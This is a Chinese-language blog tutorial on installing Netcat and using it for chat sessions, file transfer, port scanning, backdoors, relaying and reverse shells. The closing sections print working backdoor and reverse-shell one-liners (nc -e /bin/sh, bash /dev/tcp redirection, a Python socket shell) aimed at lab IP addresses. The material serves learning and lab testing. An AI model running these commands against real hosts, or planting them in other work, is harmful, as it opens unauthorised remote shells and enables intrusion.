瑞士军刀——Netcat的安装与详细使用

作者永不落的梦想

作者主页传送

座右铭过去属于死神,未来属于自己

本文专栏神器使用篇

今日鸡汤当你在夜晚孤军奋战时,漫天星光为你而闪烁

目录

一、介绍

二、安装

1.在Windows下安装

2.在kali下安装

三、基本使用

1.命令参数

2.会话连接

3.shell连接

​编辑

4.文件传输

5.信息探测

6.建立后门

7.连接转发

8.反弹shell


一、介绍

        Netcat简称nc,被誉为网安的“瑞士军刀”,是一款强大的网络命令行工具,其体积小巧、功能强大,用于建立主机间的TCP/UDP连接,并通过标准输入输出进行数据的读写,可实现端口监听、文件传输、建立后门、端口转发、shell反弹等功能;

二、安装

1.在Windows下安装

下载地址:https://eternallybored.org/misc/netcat/

 有两个版本可选择一个点击安装;

瑞士军刀——Netcat的安装与详细使用_第1张图片

安装后解压即可使用,在nc.exe程序的目录打开cmd:nc.exe -l -p 9999,也可以将nc.exe所在目录添加到环境变量中再使用cmd:nc -l -p 9999,nc具体使用可用nc.exe -h查看使用说明;

2.在kali下安装

在Linux中安装,kali一般自带nc,若无可使用安装命令安装:

安装命令:yum install nc

查看nc使用说明:nc -h

三、基本使用

1.命令参数

可执行nc -h命令查看netcat的命令参数

瑞士军刀——Netcat的安装与详细使用_第2张图片

-d        脱离命令行,当命令行关闭后不会关闭nc,而在后台运行,常用于后面建立,如nc -l           -p 9999 -d

-e        命令执行,常用于后面建立,如nc -l -p 9999 -e /bin/sh

-l         设置netcat处于监听状态等待连接,如nc -l -p 9999

-L        设置netcat处于监听状态等待连接,且当客户端断开后回到监听状态等待连接,如nc            -L -p 9999

-n       只识别IP地址而不做DNS解析,如nc -l -p 9999 -n

-p       设置监听的端口号,如nc -l -p 9999

-r        设置随机监听端口号,如nc -l -r

-s       设置netcat源IP地址,用于隐藏服务端;

-u       设置netcat使用UDP模式,不指定u参数默认使用TCP;

-v       显示错误提示信息;

-w secs        设置连接超时秒数secs;

-z       设置netcat扫描模式,发送的数据包不含payload可加快速度缩短时间;

2.会话连接

        服务端为开启nc监听等待连接的一方,客户端为连接nc服务端的一方;

        会话连接可使nc连接的双方进行交互,连接后输入内容回车即可发送消息;

服务端:nc -l -p 9999

客户端:nc 192.168.83.102 9999

192.168.83.102为服务端IP,9999为服务端开放的nc监听端口等待连接,客户端连接后,服务端和客户端可进行会话交互;

3.shell连接

        服务端的nc监听使用参数e指定shell,客户端连接后可获得服务端的shell执行命令;

服务端:nc -l -p 9999 -e /bin/sh

客户端:nc 192.168.83.102 9999

瑞士军刀——Netcat的安装与详细使用_第3张图片

4.文件传输

        使用输出重定向>可实现nc传输文件;

客户端传输文件给服务端,将1.txt文件内容传输给服务端保存为flag.txt文件:

服务端:nc -l -p 9999 > flag.txt

瑞士军刀——Netcat的安装与详细使用_第4张图片

客户端:nc 192.168.83.102 < 1.txt

也可以服务端向客户端传输文件,只需改变输出重定向>的方向即可:

服务端:nc -l -p 9999 < flag.txt

客户端:nc 192.168.83.102 > 1.txt

5.信息探测

探测目标主机192.168.83.10的端口信息:

nc -n -v -w1 -z 192.168.83.10 1-1023

6.建立后门

①监听型,客户端获取服务端的shell,与shell连接类似:

服务端:nc -l -p 9999 -e /bin/sh

客户端:nc 192.168.83.102 9999

②连接型,服务端获取客户端的shell,与shell连接类似:

服务端:nc -l -p 9999

客户端:nc 192.168.83.102 9999 -e /bin/sh

7.连接转发

主机1与主机2处于同一网段,主机3为主机1的内网,主机2不能直接访问主机3但可以通过主机1间接访问主机3;

主机3:nc -l -p 9999

主机1:nc -l -p 7777 -e delay.bat,delay.bat内容:nc 主机3IP 9999

主机2:nc 主机1IP 7777

这样即可建立主机2与主机3的nc连接;

8.反弹shell

反弹shell,即客户端开启端口监听等待服务端连接,服务端连接后,客户端可获得服务端的shell;

①服务端安装了netcat时:

服务端:nc 192.168.83.102 9999 -e /bin/sh

客户端:nc -l -p 9999

②服务端没有安装netcat时:

服务端:bash -i >& /dev/tcp/192.168.83.102/9999 0>&1

 客户端:nc -l -p 9999

瑞士军刀——Netcat的安装与详细使用_第5张图片

③服务端无netcat,但有python时,

服务端:

# 需改为客户端的IP和端口
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.83.102",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

客户端:nc -l -p 9999

瑞士军刀——Netcat的安装与详细使用_第6张图片

④服务端不支持-e参数时,

服务端:nc 192.168.83.102 9999 | /bin/sh | nc 192.168.83.102 7777

客户端:nc -lvp 9999,nc -lvp 7777

瑞士军刀——Netcat的安装与详细使用_第7张图片

 客户端开启两个监听端口,反弹shell后可实现:在9999端口的nc中输入命令,执行结果返回在7777端口的nc中;

你可能感兴趣的:(神器使用篇,web安全,网络安全)